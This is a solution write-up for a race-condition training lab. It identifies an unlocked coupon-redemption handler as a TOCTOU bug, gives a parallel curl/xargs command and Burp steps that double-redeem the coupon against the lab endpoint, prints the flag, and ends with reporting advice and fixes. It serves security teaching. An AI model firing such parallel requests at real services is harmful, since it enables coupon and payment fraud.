RATBANK OPS - RACE CONDITION LAB - SOLUTION =========================================== THE SHAPE OF THE LAB api.php exposes 20 actions. Fourteen of them enforce some kind of limit: withdraw / transfer balance may not go negative redeem_coupon single use, +100 apply_cashback once per cycle, +5 buy_item stock = 1 refund_item only if owned add_beneficiary maximum 3 upgrade_plan one free upgrade claim_invite single use, +25 activate_gift_card single use, +50 vote_poll one vote reserve_seat 2 seats Every limited action except one runs its check and its write inside with_locked_state(), which holds an exclusive flock() on the state file for the whole read-modify-write. Concurrent callers block on the lock, so the second one sees the already-written state and is refused. Every action also calls think() (90-140ms), so latency does not identify the bug. THE BUG act_redeem_coupon() is the only action that never takes the lock: $s = read_state_unlocked($sid); // check coupon_used ... think(); // "validating with the partner service" $s['balance'] += 100; // act write_state_unlocked($sid, $s); Two requests that both read before either writes both see coupon_used = false, both pass the check, and both credit 100. Classic TOCTOU / lost update. EXPLOIT Browser: open the lab, set action = redeem_coupon, copies = 20, press "Fire in parallel". Watch coupon_redeems go above 1. curl: SID=$(head -c 12 /dev/urandom | od -An -tx1 | tr -d ' \n') seq 20 | xargs -P 20 -I{} curl -s \ "https://labs.hackxpert.com/RACECONDITION/RatBankOps/api.php?action=redeem_coupon&code=RAT100&sid=$SID" curl -s "https://labs.hackxpert.com/RACECONDITION/RatBankOps/api.php?action=state&sid=$SID" Burp: send the redeem_coupon request to Turbo Intruder, or put it in a Repeater tab group and use "Send group in parallel". Success looks like coupon_redeems >= 2 and a balance of 300+ from a 100 start. Flag: flag{toctou_coupon_double_redeem} Reset between attempts with action=reset, or press "New session". WHY THE OTHERS DO NOT FALL Fire 20 parallel withdraws, buys, votes or seat reservations: the counts stay exactly at their ceiling. That is what a correctly locked check-then-act looks like from the outside, and it is why "I sent it twice quickly and nothing happened" is not proof that an endpoint is safe - you have to compare the state against the limit, per endpoint. REPORTING NOTES - Impact: unlimited redemption of a single-use promotional credit = direct financial loss. Show the state before and the state after with the redeem count above the limit. - Include the exact concurrency used and the number of accepted responses. "20 requests, 3 accepted, balance 400 instead of 200" is evidence; "it felt racy" is not. - Note the fix: do the check and the write in one atomic operation - a conditional UPDATE (UPDATE coupons SET used=1 WHERE code=? AND used=0), a unique constraint on (user, coupon), SELECT ... FOR UPDATE, or an application-level lock around the whole transaction. Rate limiting does not fix it.